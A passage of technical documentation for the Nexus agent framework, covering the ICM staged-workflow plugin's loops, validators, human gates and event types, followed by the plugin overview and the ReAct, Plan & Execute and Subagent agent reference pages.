name appears as icm.<runID>.<stage_id> in icm.stage.started events.
auto_include_skill_reference_tool: true (the default) appends the
read_skill_reference tool to any stage that declares inputs.skills.
For multi-instance setups the tool name becomes read_skill_reference_<suffix>
so two ICM instances can coexist in one engine without colliding.
Turns
Turns control the inner loop within a single stage invocation.
turns:
policy: until_valid # fixed | until_valid | until_human_approves
max: 3 # default 1 for fixed, 3 for until_valid
fixedrunsmaxturns unconditionally. Most common.until_validretries while any validator fails. Requires at least oneoutput.validatorsentry — the loader rejects the contract otherwise.until_human_approvesloops while the human selectscontinueat the per-turn HITL gate (icm.stage.turn). Free-text feedback from the human arrives in the next turn’s<previous_attempt><human_feedback>.
Human gates
Human gates fire at stage boundaries. They are independent from per-turn loop gates and per-iteration loop predicates.
human_gate: end # none (default) | start | end | both
start emits a HITL icm.stage.start action before the stage’s first
dispatch; end emits icm.stage.end after the artifact is written. The
end gate offers a restart choice that wipes the stage directory and
re-runs (subject to loop_max_restarts).
For looping stages the gate fires at the bounds of the entire stage, not
per iteration. Use a type: human predicate inside loop.until if you
need per-iteration human review.
Loops
Loops drive convergence: the entire stage runs as a fresh invocation each iteration, with prior-iteration artifact + exit failures included in the next payload.
loop:
max_iterations: 5
until:
- type: native
handler: word_count_over
args: { min_words: 1200 }
- type: llm
rubric: rubrics/coherence.md
on_exhausted: human_gate # human_gate (default) | error
until predicates run after each iteration’s artifact is written. All
must pass for the loop to exit. When max_iterations runs out without
convergence, on_exhausted: human_gate raises an icm.loop.exhausted
HITL request offering accept / restart / error; on_exhausted: error
halts the stage immediately. Restart-loop count is bounded globally by the
plugin’s loop_max_restarts config.
Iteration artifacts persist under <stageDir>/iter_NN/. The aggregate
<stageDir>/<filename> is written from the last iteration after
convergence (or the last attempt if a human accepts).
Fan-out
Fan-out runs the stage once per item in a JSON list. Distinct from loop:
loops are convergence-driven; fan-outs are data-driven. They compose — a
stage with both fans out per item and each item independently iterates.
fan_out:
source: 02_research/topics.json # earlier stage's JSON output
jsonpath: .topics # optional gojq expression; default "."
item_var: topic # name surfaced into payload's <fan_out_item>
item_id: .slug # optional gojq for per-item folder name
max_parallel: 4 # default 1
on_item_failure: continue # continue (default) | halt
source must resolve to a JSON artifact produced by an earlier stage (or
to 00_input/...). The orchestrator parses it, applies jsonpath, and
expects an array; non-arrays surface as a stage error. Each item writes
under <stageDir>/items/<itemID>/<filename>, and the orchestrator emits
an icm.fanout.item event at each item lifecycle boundary
(active → completed | failed).
The aggregate output filename is also written at the plain stage path so
downstream stages can reference it via the normal <stage_id>/<filename>
ref. Aggregation is a flat join of every item’s artifact for text outputs
and a JSON array for JSON outputs.
Verifiers
Verifiers are reusable stage-shaped contracts kept under verifiers/. A
stage references them by ID via the top-level verifiers: list. The
loader validates that every referenced ID exists. They run after the
stage’s own validators and may declare their own posture, tools, and
predicates.
# stages/03_review/contract.md
---
verifiers:
- house_voice_check
- structural_balance
---
# verifiers/house_voice_check.md
---
display: House voice check
output:
format: text
filename: house_voice.md
validators:
- type: llm
rubric: rubrics/house_voice.md
inputs:
artifacts:
- 02_script/script.md
---
Compare the script against the house style guide and flag violations.
Predicates
A predicate is the unified shape used by output.validators, loop.until,
and verifier outputs. The type field discriminates; the loader compiles
regex / gojq / JSON-schema at load time and rejects malformed predicates
before boot completes.
schema
JSON-schema validation against the stage output.
- type: schema
schema: schemas/outline.json
name: outline_shape # optional; default "<type>_<index>"
Path resolves against the workspace root. The loader reads the file, parses it as JSON, and compiles it as draft-2020 to catch malformed schemas at boot.
regex
Regex match against text output.
- type: regex
pattern: '^FADE IN:'
anchor: first_line # whole (default) | first_line | last_line
message: "Screenplay must open with FADE IN:."
The loader compiles the pattern at load time; failures surface in the load
error aggregate. message populates the predicate’s Feedback field, so
LLMs retrying under until_valid see your authored guidance.
native (builtin handlers)
Native predicates dispatch to a Go handler registered in the plugin. ICM ships four built-ins.
| Handler | Required args | Optional args | Behavior |
|---|---|---|---|
word_count_under | max_words: int > 0 | — | Passes when len(strings.Fields(artifact)) < max_words. |
word_count_over | min_words: int >= 0 | — | Passes when len(strings.Fields(artifact)) > min_words. |
contains_required_ids | ids: []string (non-empty) | case_insensitive: bool (default false) | Passes when every id appears at least once in the artifact. Empty ids is treated as malformed args, not vacuous truth. |
json_path_exists | path: string (gojq query) | must_be_non_empty: bool (default true) | Parses artifact as JSON and runs the query. Passes when at least one result is returned and (when must_be_non_empty) at least one is non-null / non-empty. |
- type: native
handler: contains_required_ids
args:
ids: [PROTAGONIST, ANTAGONIST]
case_insensitive: false
command
Shell-out predicate. The script reads the artifact on stdin and exits 0 to pass, non-zero to fail. Stderr becomes the feedback.
- type: command
run: scripts/lint_screenplay.sh
timeout_seconds: 30 # optional; falls back to plugin default
The loader resolves run against the workspace root, verifies the file
exists, and verifies it has the executable bit set. Scripts run inside the
engine sandbox (the same engine.Sandbox injected into the plugin), so
the workflow’s command surface is constrained by the host’s sandbox
policy.
llm
LLM judge predicate. The judge sees the artifact and a rubric, and returns a structured verdict.
- type: llm
rubric: rubrics/coherence.md
model: judge_strict # optional posture override
name: coherence_check # optional
model names a registered posture (not a raw model). When omitted, the
plugin uses default_judge_posture from its config. Workspaces that use
type: llm predicates without setting either are rejected at runtime
with default_judge_posture is not configured.
The judge posture must return JSON conforming to a baked-in judge schema (verdict + score + feedback). The plugin registers this schema at boot.
human
In-loop human predicate. The orchestrator emits a HITL request and waits. This is the right tool when “looks good” is the gating criterion for convergence.
- type: human
prompt: "Does this iteration meet the brief?"
require_feedback_on_continue: true # optional
continue (without selecting the explicit pass / fail choice) under
turns.policy: until_human_approves advances to the next turn and routes
the human’s free-text response into <previous_attempt><human_feedback>.
Skills
Skills are bundles a stage can load at dispatch. Each skill is a folder
containing SKILL.md (YAML frontmatter name + description, then a
body) and an optional references/ subfolder with deferred-load files.
Discovery is workspace-scoped — ICM does not use the global
nexus.skills scan_paths. The loader walks two locations in precedence
order:
stages/<NN_slug>/skills/<name>/— stage-local (wins on conflict).shared/skills/<name>/— workspace-wide.
Reference shape:
shared/skills/markdown-screenplay/
SKILL.md
references/
fade_transitions.md
standard_formatting.md
SKILL.md:
---
name: markdown-screenplay
description: How to format screenplays in markdown for downstream parsing.
---
Always use INT./EXT. headers. Capitalize character names before dialogue.
See references/standard_formatting.md for the full house spec.
Stages opt in via inputs.skills. At dispatch the orchestrator inlines
SKILL.md body into <grounding> and registers the
read_skill_reference[_<suffix>] tool so the agent can pull a specific
reference on demand. References are NOT inlined by default — that is the
point of progressive disclosure.
XML payload reference
Each turn assembles a single XML user message. The shape is uniform across
stage modes; loop iterations and fan-out items add their own elements
but the surrounding skeleton is invariant. Inline blocks contain the
content; _ref variants point at filesystem paths.
<icm_turn stage="02_script" turn="1" iteration="3" run_id="r_abc">
<grounding>
<skill name="markdown-screenplay" source="workspace">
<description><![CDATA[How to format screenplays...]]></description>
<body><![CDATA[Always use INT./EXT. headers...]]></body>
<references_available>
<ref path="standard_formatting.md" description="House spec"/>
</references_available>
</skill>
<file path="style_guide.md"><![CDATA[...]]></file>
<shared_file path="house_voice.md"><![CDATA[...]]></shared_file>
</grounding>
<layer_data>
<artifact path="01_outline/outline.md"><![CDATA[# Act I...]]></artifact>
<artifact_ref path="01_outline/huge.json" size_bytes="48000"/>
<fan_out_item key="topic"><![CDATA[{"slug":"act1","title":"Setup"}]]></fan_out_item>
</layer_data>
<session_context>tenant: acme
project: screenplay-pilot</session_context>
<previous_attempt turn="2">
<output><![CDATA[FADE IN: ...]]></output>
<validator_feedback>
<failure name="word_count_over" type="native">
word count 420 is not strictly greater than min_words=800
</failure>
</validator_feedback>
<human_feedback><![CDATA[Tighten Act 2.]]></human_feedback>
</previous_attempt>
<previous_iteration index="2">
<artifact path="02_script/iter_02/script.md"><![CDATA[...]]></artifact>
<exit_failures>
<failure name="coherence_check" type="llm">Act II drifts.</failure>
</exit_failures>
</previous_iteration>
<instructions><![CDATA[Expand the outline...]]></instructions>
</icm_turn>
Notes:
_refelements appear when an artifact exceedsinline_artifact_limit_bytes, fails resolution (missing="true"), or contains non-UTF-8 bytes.- Passing validator / exit-condition results are filtered out — the agent only sees actionable failures.
- The instructions block contains the stage contract body verbatim.
<session_context>carries the session’s current general-namespace tags as sortedkey: valuelines, rebuilt fresh on every turn — unlikeoperator.md’s one-time.Context, this reflects a tag written at any point up to the turn being dispatched. Omitted entirely when no general-namespace tags are set. See Session Tags.
Plan + progress events
ICM emits the engine’s generic plan.created once at run start and
plan.progress after each stage transition, so generic UIs that render a
plan see the workflow without ICM-specific knowledge. On top of that, the
following typed events surface richer detail. All payloads carry a
_schema_version field and live in
plugins/workflows/icm/icmtypes/types.go.
| Event | When | Notes |
|---|---|---|
icm.run.started | After workspace load + plan.created, before stage 1 dispatches. | Carries run_id, instance_id, workspace_root, stages count. |
icm.run.completed | All stages finished without halt. | Includes elapsed_seconds. |
icm.run.halted | Stage error policy halts, gate rejects, or run context cancels. | cancelled: true distinguishes ctx cancellation from gate reject. |
icm.stage.started | Stage execution begins, before any human_gate: start gate. | Carries derived posture name + 1-based stage order. |
icm.stage.completed | Artifact written + any end gate resolved. | Includes iterations_run + convergence_failed for looping stages. |
icm.stage.failed | Dispatch error policy halts, gate rejects, or loop.on_exhausted: error fires. | Carries free-text reason. |
icm.stage.iteration | Once per loop iteration, immediately before the iteration’s invocation. | Includes prior iteration’s exit_failures. |
icm.turn | After each turn within an invocation. | Richer-UI feed only; basic UIs already see stage transitions via plan.progress. |
icm.fanout.item | Item lifecycle boundary in a fan-out stage. | Status is active / completed / failed. |
icm.predicate.failed | Any predicate evaluation returns Verdict=false. | Single source of truth for failure visibility — pass paths are not emitted. |
workflow.progress | Run start, stage start, every iteration, every fan-out item completion, stage / run completion, halt / failure. | Engine-generic structured payload (events.WorkflowProgress). Powers the dedicated workflow status panel in nexus.io.tui and the indicator chip in nexus.io.browser. Emitted alongside the icm.* family, not in place of it. |
In addition, with emit_progress_thinking_steps: true (default) ICM emits
thinking.step events tagged Phase="icm.<stage_id>" so UIs that render
thinking surfaces show inline stage transitions without subscribing to the
typed event family.
UI feedback surfaces
Both bundled IO plugins (nexus.io.tui, nexus.io.browser) wire ICM
progress directly so users see real-time feedback during long runs
without enabling extra observers:
- Scrollback (thinking-step stream) — every
icm.*event is formatted into a one-line audit row via the helpers inplugins/workflows/icm/icmtypes/format.goand rendered alongside other thinking steps. Long runs leave a complete trail of stage transitions, iteration retries, predicate failures, and fan-out item ticks. - Dedicated workflow panel — the generic
workflow.progressevent drives a sticky surface (TUI right-rail panel, browser chip indicator) that updates in place: workflow name, stage X/Y, iter N/M, turn N/M, fan-out items done/total, status badge, and the names of any predicate failures from the last iteration.
The two surfaces complement each other: scrollback for “what happened”, dedicated panel for “where are we now”.
Session layout + artifacts
Every run owns a directory under <dataDir>/<runID>/. dataDir is the
plugin’s per-session data dir provided by the engine, so multiple
concurrent runs do not collide.
<engine_session>/plugins/<instance>/<runID>/
.icm/
run.json run metadata: workspace path, started at, plan
state.json mutable per-stage progress (updated as stages run)
00_input/
premise.txt copied from io.input.Content or workspace_inputs_dir
01_outline/
outline.md
outline.md.icm.json per-artifact sidecar: writer, validators, schema
02_script/
iter_01/
script.md
script.md.icm.json
iter_02/
script.md
script.md.icm.json
script.md aggregate (last iteration after convergence)
script.md.icm.json
03_review/
items/ fan-out items live here
act1/
review.md
act2/
review.md
review.md flat aggregate written for downstream refs
review.md.icm.json
Logical refs (<stage_id>/<filename> in inputs.artifacts or
fan_out.source) resolve as follows:
- Plain stage path wins when present.
- Otherwise the highest-numbered
iter_NN/<filename>wins (numeric sort —iter_10beatsiter_9). - For fan-out stages, the aggregate at the plain stage path is what downstream stages see; per-item files are addressable only inside the fan-out itself.
<instance> is nexus.workflows.icm for the default instance, or the
instance-suffixed ID (nexus.workflows.icm.script, etc.) for additional
instances. The engine maps slashes in instance IDs to dots when computing
the on-disk directory.
Multi-instance setup
Multiple ICM instances coexist in one engine via the nexus.workflows.icm/<suffix>
form. Each instance pins its own workspace, judge posture, and tool
namespace.
plugins:
active:
- nexus.agent.postures
- nexus.control.hitl
- nexus.workflows.icm/script
- nexus.workflows.icm/research
nexus.workflows.icm/script:
workspace: ~/work/screenplay-pipeline
default_judge_posture: judge_strict
default_workflow_posture: writer_base
nexus.workflows.icm/research:
workspace: ~/work/topic-research
default_judge_posture: judge_basic
cache_size: 64 # research is read-heavy; caching is safe here
auto_include_skill_reference_tool: false
Per-instance details:
- The skill-reference tool name is namespaced per instance:
read_skill_reference_script,read_skill_reference_research. Default instances (no suffix) get the unsuffixedread_skill_reference. - Derived posture names embed the instance suffix so the registry stays unambiguous.
- Each instance carries a distinct
<runID>namespace and a distinct data-dir prefix. - The
icm_validateLLM tool is similarly suffixed (icm_validate_script,icm_validate_research).
A single judge / human-gate plugin services all instances. The HITL
request’s RequesterPlugin field carries the suffixed instance ID so
operators can route gates per workflow.
Troubleshooting
Workspace fails to load.
ICM aggregates every validation error before returning, so the boot log
shows them as a bulleted list (workspace load failed (N errors):).
Common causes:
- Duplicate numeric prefixes (
01_outline+01_intro) — execution order is ambiguous; renumber one. - Stage folder named
00_input— reserved name; rename. output.filenamecontaining/— must be a bare filename; the loader builds the path.inputs.artifactsref to a later stage — refs must point at the reserved00_inputor at a stage with a lower numeric prefix.output.format: jsonwithoutoutput.schema— JSON outputs always require a schema.turns.policy: until_validwith emptyoutput.validators— without validators there is nothing to retry against.type: commandpredicate pointing at a non-executable script —chmod +xthe file.
The aggregated error message includes the exact file path and line number when applicable.
Stage halts with default_judge_posture is not configured.
A type: llm predicate ran and the plugin had no posture to dispatch the
judge against. Wire a judge in one of two ways:
# Plugin-level fallback (every llm predicate without an explicit `model:`).
plugins:
nexus.workflows.icm:
default_judge_posture: judge_basic
# Per-predicate override.
output:
validators:
- type: llm
rubric: rubrics/quality.md
model: judge_strict
The named posture must be registered with nexus.agent.postures (typically
via its scan_dirs config) before ICM boots.
Loop never converges.
loop.max_iterations is the per-pass cap. When it runs out under
on_exhausted: human_gate (the default), the human is offered accept /
restart / error. restart wipes the stage directory and reruns from
iteration 1. The plugin’s loop_max_restarts caps the number of restarts
per run (default 3, 0 for unlimited) so a never-converging workspace
cannot spin forever. If you see repeated restarts, the root cause is
usually:
- Exit conditions that the writer model cannot satisfy (rubric too tight, or contradicts an earlier rubric).
- Operator prompt that does not reference the prior-iteration failure
block. The default operator template handles this; custom operators must
read
<previous_iteration><exit_failures>and address each failure. on_exhausted: errormakes failures loud and immediate — useful in CI.
Fan-out source doesn’t resolve.
The loader validates fan_out.source shape and that the named stage runs
earlier, but the artifact filename is checked against the prior stage’s
declared output.filename. Two common mistakes:
- Filename typo (
topics.jsonvstopic.json) — change one or the other. - Source stage’s
output.formatistext; fan-out always parses JSON. Make the producer JSON or change the consumer.
At runtime, if the source produces a non-array (or the jsonpath lands on
a non-array), the stage emits icm.stage.failed with a reason of
fan_out.source did not resolve to an array. Inspect the source artifact
in the session directory directly — the orchestrator never modifies it.
Run cancelled mid-HITL.
When the run context cancels while ICM is blocked on a HITL response, the
plugin emits hitl.cancel with the pending request ID so the UI can clear
its pending prompt. The run then completes with icm.run.halted,
cancelled: true.
See also
- configuration reference — every config key with defaults.
- agent postures — base postures stages inherit from; required at boot.
- HITL — the registry ICM routes gates through.
- skills — the engine-level skill machinery; ICM’s per-workspace
skills are independent but share the same
SKILL.mdshape. - Session Tags — the
.Contextmapoperator.mdtemplates read and the per-turn<session_context>block. plugins/workflows/icm/schema.json— JSON schema for the config block.plugins/workflows/icm/workspace/types.go— full Go type model.plugins/workflows/icm/icmtypes/types.go—icm.*event payload structs.
Plugin Overview
Nexus ships with 21 built-in plugins organized into categories. Activate only the plugins you need — the engine handles dependency resolution and boot ordering automatically.
Plugin Categories
| Category | Count | Purpose |
|---|---|---|
| Agents | 4 | Core reasoning loops — ReAct, Plan & Execute, Subagent, Orchestrator |
| LLM Providers | 2 | LLM API integration (Anthropic, OpenAI) |
| Tools | 5 | Capabilities the agent can invoke — shell, files, PDF, opener, ask user |
| Memory | 2 | Conversation persistence and context window compaction |
| I/O Interfaces | 2 | User interaction — terminal UI and browser-based UI |
| Observers | 2 | Event logging and thinking step persistence |
| Planners | 2 | Execution planning — LLM-generated or pre-configured |
| Skills | 1 | Skill discovery and management |
| System | 1 | Dynamic system prompt variables |
| Control | 1 | Cancellation coordination |
Choosing Plugins
A minimal useful agent needs at least:
- One I/O plugin — How the user interacts (
nexus.io.tuiornexus.io.browser) - One LLM provider — Which AI model to use (
nexus.llm.anthropic,nexus.llm.openai) - One agent — The reasoning strategy (
nexus.agent.reactis the most common)
Everything else is optional. Add tools to give the agent capabilities, memory to persist conversations, planners for complex task decomposition, and observers for debugging.
Common Combinations
Conversational Agent (no tools)
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.memory.capped
Coding Assistant
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.tool.shell
- nexus.tool.file
- nexus.control.hitl
- nexus.skills
- nexus.memory.capped
Planned Coding Workflow
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.planner.dynamic
- nexus.observe.thinking
- nexus.tool.shell
- nexus.tool.file
- nexus.control.hitl
- nexus.skills
- nexus.memory.capped
- nexus.memory.compaction
Multi-Agent Orchestration
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.orchestrator
- nexus.agent.subagent
- nexus.agent.react
- nexus.tool.shell
- nexus.tool.file
- nexus.memory.capped
- nexus.control.cancel
Plugin Documentation Format
Each plugin page in this reference covers:
- ID — The plugin identifier used in config
- Purpose — What it does and when to use it
- Configuration — All config options with types and defaults
- Events — What it subscribes to and emits
- Dependencies — Other plugins it requires
- Usage examples — Config snippets and common patterns
Agent Plugins
Agents are the brain of a Nexus harness. They receive user input, orchestrate LLM calls and tool usage, and produce output. You must activate exactly one agent plugin (unless using the orchestrator pattern, which depends on subagent + react).
Available Agents
| Plugin | ID | Strategy |
|---|---|---|
| ReAct | nexus.agent.react | Iterative reason-and-act loop |
| Plan & Execute | nexus.agent.planexec | Create a plan first, then execute step by step |
| Subagent | nexus.agent.subagent | Spawns child agents as tools |
| Orchestrator | nexus.agent.orchestrator | Decomposes tasks and dispatches to parallel workers |
| Remote AG-UI Agents | nexus.agent.agui_remote | Delegates to a remote AG-UI agent as a tool |
| Remote A2A Agents | nexus.agent.a2a_remote | Delegates to a remote A2A agent as a tool |
Choosing an Agent
- ReAct — Best for most use cases. Simple, flexible, supports planning as an optional phase. Start here.
- Plan & Execute — When you want a mandatory planning phase with explicit step tracking and optional replanning on failure.
- Orchestrator — For complex tasks that benefit from parallel decomposition across multiple subagent workers.
- Subagent — Not used standalone. Provides a
spawn_subagenttool that other agents (or the orchestrator) can invoke.
Agent + Planner Interaction
The ReAct and Plan & Execute agents can optionally integrate with planners:
- ReAct + Dynamic Planner — LLM generates a plan before the agent starts iterating. The plan is injected into the system prompt.
- ReAct + Static Planner — Fixed steps from config are injected into the system prompt.
- Plan & Execute — Has its own built-in planning phase (uses LLM directly, no separate planner plugin needed).
ReAct Agent
The ReAct (Reason + Act) agent is the default and most commonly used agent strategy. It runs an iterative loop: send messages to the LLM, parse the response, execute any tool calls, feed results back, and repeat until the LLM produces a final answer.
Details
| ID | nexus.agent.react |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
planning | bool | false | Enable planning phase before iteration starts |
model_role | string | (default) | Model role to use (e.g., reasoning, balanced, quick) |
system_prompt | string | (none) | Inline system prompt text |
system_prompt_file | string | (none) | Path to a system prompt markdown file |
parallel_tools | bool | false | Run multiple tool calls from a single LLM response in parallel |
max_concurrent | int | 4 | Concurrency cap when parallel_tools: true |
tool_choice | string/object | (none) | Tool choice mode — shorthand string or object with mode/name/sequence |
Iteration limits are not an agent setting — enforce them with
nexus.gate.endless_loop(default cap: 25 LLM calls per turn).
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
io.input | 50 | Receives user messages to start processing |
tool.result | 50 | Receives results from tool execution |
llm.response | 50 | Receives non-streaming LLM responses |
llm.stream.chunk | 50 | Receives streaming response chunks |
llm.stream.end | 50 | Streaming complete signal |
skill.loaded | 50 | Receives loaded skill content |
tool.register | 50 | Dynamically registers available tools |
plan.result | 50 | Receives completed plans from planners |
cancel.active | 5 | Handles cancellation |
cancel.resume | 5 | Handles resumption after cancel |
memory.compacted | 50 | Updates conversation history after compaction |
gate.llm.retry | 50 | Retries previously vetoed LLM request |
agent.tool_choice | 50 | Dynamic tool choice override from other plugins |
Emits
| Event | When |
|---|---|
llm.request | Sending a message to the LLM |
before:tool.invoke | Before executing a tool (vetoable — enables approval) |
tool.invoke | Invoking a tool |
before:tool.result | Before tool result propagation (vetoable) |
tool.result | Synthetic tool results (e.g., for vetoed tools) |
before:io.output | Before sending output (vetoable) |
io.output | Final agent response to the user |
io.status | Status updates (thinking, tool_running, etc.) |
thinking.step | Reasoning/thinking steps for persistence |
plan.request | Requesting a plan from a planner plugin |
agent.turn.start | Beginning of a conversation turn |
agent.turn.end | End of a conversation turn |
How It Works
- User sends a message →
io.inputarrives - Agent builds the message history and sends
llm.request - LLM responds with text and/or tool calls
- If tool calls exist:
- Agent emits
before:tool.invoke(can be vetoed for approval) - Agent emits
tool.invokefor each tool call - Tool plugin emits
before:tool.result(vetoable — gates can inspect/block) - Waits for
tool.resultevents - Loops back to step 2 with tool results appended
- Agent emits
- If no tool calls, the LLM’s response is the final answer →
io.output - Stops when
nexus.gate.endless_loopvetoes the nextllm.request(default: 25 calls per turn)
Planning Integration
When planning: true, the agent requests a plan before starting iteration:
- Agent emits
plan.requestwith the user’s input - A planner plugin (dynamic or static) generates a plan
- Agent receives
plan.result - The plan steps are injected into the system prompt as context
- Normal ReAct iteration begins with the plan as guidance
Session Context in Prompts
The system prompt gets a <session_context> section alongside
<skill_context>/<execution_plan>/<current_task>: the current session’s
general-namespace (non-_-prefixed) tags, rendered fresh on every build and
omitted entirely when none are set. See Prompt Registry → Agent-Level
Semantic Tags and
Session Tags for what populates it and
why the reserved namespace never reaches the prompt.
Tool Choice
Controls whether the LLM must use tools. Supports static defaults, per-iteration sequences, and dynamic overrides.
Static default (shorthand or object)
nexus.agent.react:
tool_choice: required # shorthand: force tool use every iteration
# or
tool_choice:
mode: auto # "auto" | "required" | "none" | "tool"
name: shell # only when mode == "tool"
Per-iteration sequence
nexus.agent.react:
tool_choice:
sequence:
- mode: required # iteration 1: force tool use
- mode: tool # iteration 2: force specific tool
name: shell
- mode: auto # iteration 3+: last entry repeats
Dynamic override
Any plugin can emit agent.tool_choice with AgentToolChoice{Mode, ToolName, Duration}:
Duration: "once"— applies to next LLM request only, then reverts to config default.Duration: "sticky"— persists until replaced by another override. Reset on new turn.
Example Configuration
nexus.agent.react:
planning: true
model_role: balanced
system_prompt: |
You are a coding assistant powered by Nexus. You help users write, debug, refactor, and understand code.
## Guidelines
1. Always explain your reasoning before making changes
2. Run tests after modifications to verify correctness
3. Prefer minimal, targeted changes over broad refactors
4. Ask for clarification when requirements are ambiguous
5. Read files in chunks 16kb or less
6. Follow the existing code style and conventions of the project
tool_choice:
sequence:
- mode: required
- mode: auto
Tool Discovery
The agent discovers tools dynamically through tool.register events. When tool plugins initialize, they emit their tool definitions. The agent collects these and includes them in every llm.request.
This means adding a tool to your agent is as simple as adding it to the active list — no explicit wiring needed.
Plan & Execute Agent
The Plan & Execute agent separates planning from execution. It delegates plan
generation to whichever planner plugin is active on the bus (e.g.
nexus.planner.dynamic or nexus.planner.static) while retaining full
control of the surrounding flow: phase transitions, approval, step execution,
re-planning on failure, and final synthesis.
This means you can change how plans are produced — LLM-driven, static, role-specialized, or a custom planner you build — without modifying the agent.
Details
| ID | nexus.agent.planexec |
| Dependencies | A planner plugin (e.g. nexus.planner.dynamic) must be active |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
execution_model_role | string | balanced | Model role used for step execution and synthesis |
replan_on_failure | bool | true | Request a fresh plan if a step fails (up to 2 replans per turn) |
approval | string | never | When planexec requires approval after the planner returns a plan: always, never |
system_prompt | string | (none) | Inline system prompt for execution/synthesis |
system_prompt_file | string | (none) | Path to system prompt file |
Per-step iteration limits are enforced by
nexus.gate.endless_loop, not by planexec itself. Plan-step counts are managed by the planner that producesplan.result.
Plan-generation options (model, prompt, max steps, planner-side approval) now live on the planner plugin itself. See the planner docs.
Approval layers
Two independent approval gates may apply:
- Planner-side — e.g.
nexus.planner.dynamicsupportsalways/auto/never. When the planner denies or the user rejects, the planner emitsplan.resultwithApproved: falseand planexec will end the turn. - planexec-side — even when the planner returns an approved plan,
setting planexec’s own
approval: alwayswill emit a secondplan.approval.requestbefore execution begins.
To avoid double-prompting, pick one side to own approval and set the other
to never.
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
io.input | 50 | Receives user messages |
tool.result | 50 | Tool execution results |
llm.response | 50 | Step execution and synthesis responses |
llm.stream.chunk / llm.stream.end | 50 | Streaming synthesis output |
skill.loaded | 50 | Skill content |
tool.register | — | Tool discovery |
plan.result | 50 | Receives generated plans from the active planner |
plan.approval.response | 50 | User response to planexec-side approval |
memory.compacted | 50 | History compaction |
Emits
| Event | When |
|---|---|
plan.request | Start of a turn, or when re-planning after a step failure |
plan.approval.request | When planexec’s own approval: always is set |
llm.request | Step execution and final synthesis |
before:tool.invoke / tool.invoke | Tool invocation |
before:tool.result | Before tool result propagation (vetoable) |
agent.plan | After each step status change |
io.status | Phase transitions |
thinking.step | Reasoning steps |
agent.turn.start / agent.turn.end | Turn boundaries |
Phases
The agent transitions through these phases:
stateDiagram-v2
direction LR
[*] --> idle
idle --> planning: agent.turn.start
planning --> awaiting_approval: approval == always
planning --> executing: approval skipped
awaiting_approval --> executing: user approves
awaiting_approval --> idle: user rejects
executing --> executing: next step
executing --> planning: step failed + replan_on_failure
executing --> synthesizing: all steps complete
synthesizing --> idle: agent.turn.end
idle --> [*]
- Planning — Emits
plan.request; waits forplan.resultfrom the active planner. - Awaiting Approval — Only entered if planexec’s own
approval: always. - Executing — Runs each step sequentially, with its own message history and iteration budget.
- Synthesizing — After all steps complete, generates a summary of results.
Replanning
When replan_on_failure: true and a step fails, the agent:
- Collects the status and results of completed/failed/pending steps.
- Emits a fresh
plan.requestwhoseInputcontains the original request plus a structured summary of what happened. - Waits for the new
plan.resultand resumes execution with the revised plan.
Because re-planning is just another plan.request, any planner
implementation automatically participates.
Example Configuration
plugins:
active:
- nexus.agent.planexec
- nexus.planner.dynamic # any planner plugin works
# ...
nexus.agent.planexec:
execution_model_role: balanced
replan_on_failure: true
approval: never
system_prompt: |
You are a coding assistant powered by Nexus. You help users write, debug, refactor, and understand code.
## Guidelines
1. Always explain your reasoning before making changes
2. Run tests after modifications to verify correctness
3. Prefer minimal, targeted changes over broad refactors
4. Ask for clarification when requirements are ambiguous
5. Read files in chunks 16kb or less
6. Follow the existing code style and conventions of the project
nexus.planner.dynamic:
model_role: reasoning
max_steps: 8
approval: auto
When to Use
Choose Plan & Execute over ReAct when:
- Tasks are complex and benefit from upfront decomposition.
- You want explicit step tracking and progress visibility.
- You want to swap planning strategies (LLM, static, domain-specific) without touching the agent.
- You need a different model tier for planning vs. execution.
Subagent
The subagent plugin provides a tool that spawns independent child agents. Other agents (or the orchestrator) can invoke it to delegate subtasks. Each instance can be configured with its own system prompt, tool name, and model role.
Details
| ID | nexus.agent.subagent |
| Dependencies | nexus.agent.react |
| Multi-instance | Yes — supports instance suffixes (e.g., nexus.agent.subagent/researcher) |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
max_iterations | int | 10 | Max iterations for spawned agents |
model_role | string | (default) | Default model role for spawned agents |
system_prompt | string | (none) | Default system prompt for spawned agents |
system_prompt_file | string | (none) | Path to default system prompt file |
tool_name | string | spawn_subagent | Name of the tool exposed to the parent agent |
tool_description | string | (auto) | Description of the tool |
Tool Definition
The subagent registers a tool (default name: spawn_subagent) with these parameters:
| Parameter | Type | Required | Description |
|---|---|---|---|
task | string | Yes | The task description for the subagent |
system_prompt | string | No | Override the default system prompt |
model_role | string | No | Override the default model role |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
tool.invoke | 50 | Handles spawn tool invocations |
tool.register | 50 | Collects available tools |
Emits
| Event | When |
|---|---|
tool.register | Registers the spawn tool at boot |
subagent.spawn | When a new subagent is created |
Multi-Instance Usage
Each instance creates its own spawn tool. Use instance suffixes to create specialized spawners:
plugins:
active:
- nexus.agent.react
- nexus.agent.subagent/researcher
- nexus.agent.subagent/writer
nexus.agent.subagent/researcher:
max_iterations: 15
model_role: reasoning
system_prompt: "You are a research specialist. Gather information thoroughly."
tool_name: spawn_researcher
nexus.agent.subagent/writer:
max_iterations: 10
model_role: balanced
system_prompt: "You are a technical writer. Produce clear, concise documentation."
tool_name: spawn_writer
The parent agent will see two tools: spawn_researcher and spawn_writer.
Session Context in Prompts
Each spawned agent’s system prompt gets a <session_context> block
prepended ahead of the configured system_prompt/system_prompt_file
content — the current session’s general-namespace (non-_-prefixed) tags,
rendered fresh per spawn and omitted entirely when none are set. See
Prompt Registry → Agent-Level Semantic
Tags and
Session Tags for what populates it and
why the reserved namespace never reaches the prompt.
Subagent Events
When a subagent runs, these events are emitted:
| Event | Payload | When |
|---|---|---|
subagent.spawn | SpawnID, Task, ParentTurnID | Subagent created |
subagent.started | SpawnID, Task, ParentTurnID | Subagent begins execution |
subagent.iteration | SpawnID, Iteration, Content | Each reasoning iteration |
subagent.complete | SpawnID, Result, TokensUsed, CostUSD | Subagent finished |
Example
A ReAct agent with a research subagent:
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
